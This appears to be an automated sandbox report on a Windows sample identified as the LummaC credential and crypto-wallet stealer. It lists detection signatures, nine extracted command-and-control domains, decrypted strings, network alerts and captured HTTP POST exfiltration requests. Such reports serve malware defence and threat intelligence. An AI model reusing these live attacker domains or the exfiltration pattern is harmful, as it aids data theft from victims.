Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1429089
MD5:	0b4ad1c3b3f364c3d79fabdb47fe3385
SHA1:	85de5462d6342f03eaf3fb48176615fa6fa18508
SHA256:	21f247c6c84b114525d41500d54a63ab4bcea96d14ba8ca13be445acd72a081d
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for domain / URL

Snort IDS alert for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Detected VMProtect packer

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6816 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0B4AD1C3B3F364C3D79FABDB47FE3385)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "greetclassifytalk.shop"], "Build id": "4sxFKu--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 6816	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6816	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Snort Signatures

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (greetclassifytalk .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	04/20/24-19:20:56.333314
SID:	2052028
Source Port:	52332
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/20/24-19:21:01.309164
SID:	2052037
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/20/24-19:20:56.483623
SID:	2052037
Source Port:	49730
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/20/24-19:20:57.310065
SID:	2052037
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/20/24-19:21:00.168650
SID:	2052037
Source Port:	49734
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/20/24-19:20:58.261554
SID:	2052037
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/20/24-19:21:03.516500
SID:	2052037
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/20/24-19:20:59.171078
SID:	2052037
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.177.98

Timestamp:	04/20/24-19:21:02.107071
SID:	2052037
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.fa0000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "greetclassifytalk.shop"], "Build id": "4sxFKu--"}

Multi AV Scanner detection for domain / URL

Source: https://greetclassifytalk.shop/api	Virustotal: Detection: 11%			Perma Link
Source: https://greetclassifytalk.shop:443/api	Virustotal: Detection: 11%			Perma Link

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: productivelookewr.shop
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: greetclassifytalk.shop
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmp	String decryptor: 4sxFKu--

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB5999 CryptUnprotectData,

0_2_00FB5999

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.98:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00FC2458
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00FBC540
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	0_2_00FD57CA
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	0_2_00FD59E2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_00FD3D10
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esp+08h]	0_2_00FD3D10
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_00FC4084
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_00FC4087
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_00FAD140
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc ebx	0_2_00FB42F0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	0_2_00FC3943
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov esi, ebp	0_2_00FA3260
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_00FBF234
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then push 00000000h	0_2_00FBE451
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_00FBA420
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00FBA420
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [esp+4Ch], 00000000h	0_2_00FD5412
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_00FB4596
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00FB46E6
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	0_2_00FBF640
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc eax	0_2_00FB37C9
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+4Ch]	0_2_00FC271D
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_00FBA8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00FC58A2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00FC58A2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00FCF890
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, word ptr [edx]	0_2_00FBF828
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00FC59D2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00FC59CD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00FC594F
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp byte ptr [esi+ebx+01h], 00000000h	0_2_00FBCAEC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebp, byte ptr [eax+edx]	0_2_00FD1A70
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc ebx	0_2_00FAFA49
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000E0h]	0_2_00FB1A44
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00FB6CDD
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_00FC1CC7
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+30h]	0_2_00FC4CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+000000A4h]	0_2_00FB4C49
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp edx	0_2_00FD7C45
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp edx	0_2_00FD7C47
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+000000C0h]	0_2_00FB3C46
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [esp+00000084h]	0_2_00FB5D7D
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+000005E0h]	0_2_00FB3E4A
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov edx, dword ptr [esi+04h]	0_2_00FAEF2D

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2052028 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (greetclassifytalk .shop) 192.168.2.4:52332 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49730 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49731 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49732 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49733 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49734 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49735 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49736 -> 172.67.177.98:443
Source: Traffic	Snort IDS: 2052037 ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI) 192.168.2.4:49737 -> 172.67.177.98:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: greetclassifytalk.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7079Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1389Host: greetclassifytalk.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 579140Host: greetclassifytalk.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: greetclassifytalk.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: greetclassifytalk.shop

Source: file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000002.1745794964.0000000000E36000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1664983879.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1745345269.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1746073047.0000000000EAF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682855483.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/
Source: file.exe, 00000000.00000003.1691295811.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691560780.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/$Q
Source: file.exe, 00000000.00000003.1664983879.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/%D
Source: file.exe, 00000000.00000003.1682855483.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/)tO#
Source: file.exe, 00000000.00000003.1673148684.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682855483.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1746018029.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1745362507.0000000000E88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1664983879.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1745362507.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1745794964.0000000000E8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682855483.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1745794964.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673941731.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682855483.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/api
Source: file.exe, 00000000.00000003.1682855483.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1664983879.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/api-
Source: file.exe, 00000000.00000003.1745362507.0000000000E88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1745794964.0000000000E8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/api0
Source: file.exe, 00000000.00000003.1664983879.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/apiCz
Source: file.exe, 00000000.00000003.1664983879.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/apik
Source: file.exe, 00000000.00000003.1682855483.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/gtu#
Source: file.exe, 00000000.00000003.1682855483.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop/nt
Source: file.exe, 00000000.00000003.1673148684.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673941731.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682855483.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://greetclassifytalk.shop:443/api
